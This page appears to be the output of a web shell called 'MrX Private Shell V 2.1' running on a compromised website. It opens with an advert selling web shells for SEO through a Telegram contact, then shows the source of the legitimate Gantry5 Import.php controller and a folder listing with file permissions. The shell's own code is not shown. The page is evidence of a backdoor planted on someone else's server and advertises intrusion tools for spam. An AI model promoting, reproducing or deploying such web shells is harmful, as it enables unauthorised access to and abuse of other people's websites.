__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Importer;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;
/**
* Class Import
* @package Gantry\Admin\Controller\Html
*/
class Import extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
],
'POST' => [
'/' => 'import',
]
];
/**
* @return string
*/
public function index()
{
return $this->render('@gantry-admin/pages/import/import.html.twig', $this->params);
}
/**
* @return string
*/
public function import()
{
if (!isset($_FILES['file']['error']) || is_array($_FILES['file']['error'])) {
throw new \RuntimeException('No file sent', 400);
}
// Check $_FILES['file']['error'] value.
switch ($_FILES['file']['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
throw new \RuntimeException('No file sent', 400);
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new \RuntimeException('Exceeded filesize limit.', 400);
default:
throw new \RuntimeException('Unkown errors', 400);
}
$filename = $_FILES['file']['tmp_name'];
if (!is_uploaded_file($filename)) {
throw new \RuntimeException('No file sent', 400);
}
$zip = new \ZipArchive;
if ($zip->open($filename) !== true || !($export = Yaml::parse($zip->getFromName('export.yaml'))) || !isset($export['gantry'])) {
throw new \RuntimeException('Uploaded file is not Gantry 5 export file', 400);
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$folder = $locator->findResource('gantry-cache://import', true, true);
if (is_dir($folder)) Folder::delete($folder);
$zip->extractTo($folder);
$zip->close();
$importer = new Importer($folder);
$importer->all();
if (is_dir($folder)) Folder::delete($folder);
$this->params['success'] = true;
return $this->render('@gantry-admin/pages/import/import.html.twig', $this->params);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Configurations | Folder | 0775 |
|
|
| About.php | File | 882 B | 0664 |
|
| Cache.php | File | 1.19 KB | 0664 |
|
| Configurations.php | File | 8.41 KB | 0664 |
|
| Export.php | File | 4.09 KB | 0664 |
|
| Import.php | File | 2.75 KB | 0664 |
|
| Install.php | File | 1.21 KB | 0664 |
|
| Menu.php | File | 20.31 KB | 0664 |
|
| Positions.php | File | 11.38 KB | 0664 |
|
| Themes.php | File | 825 B | 0664 |
|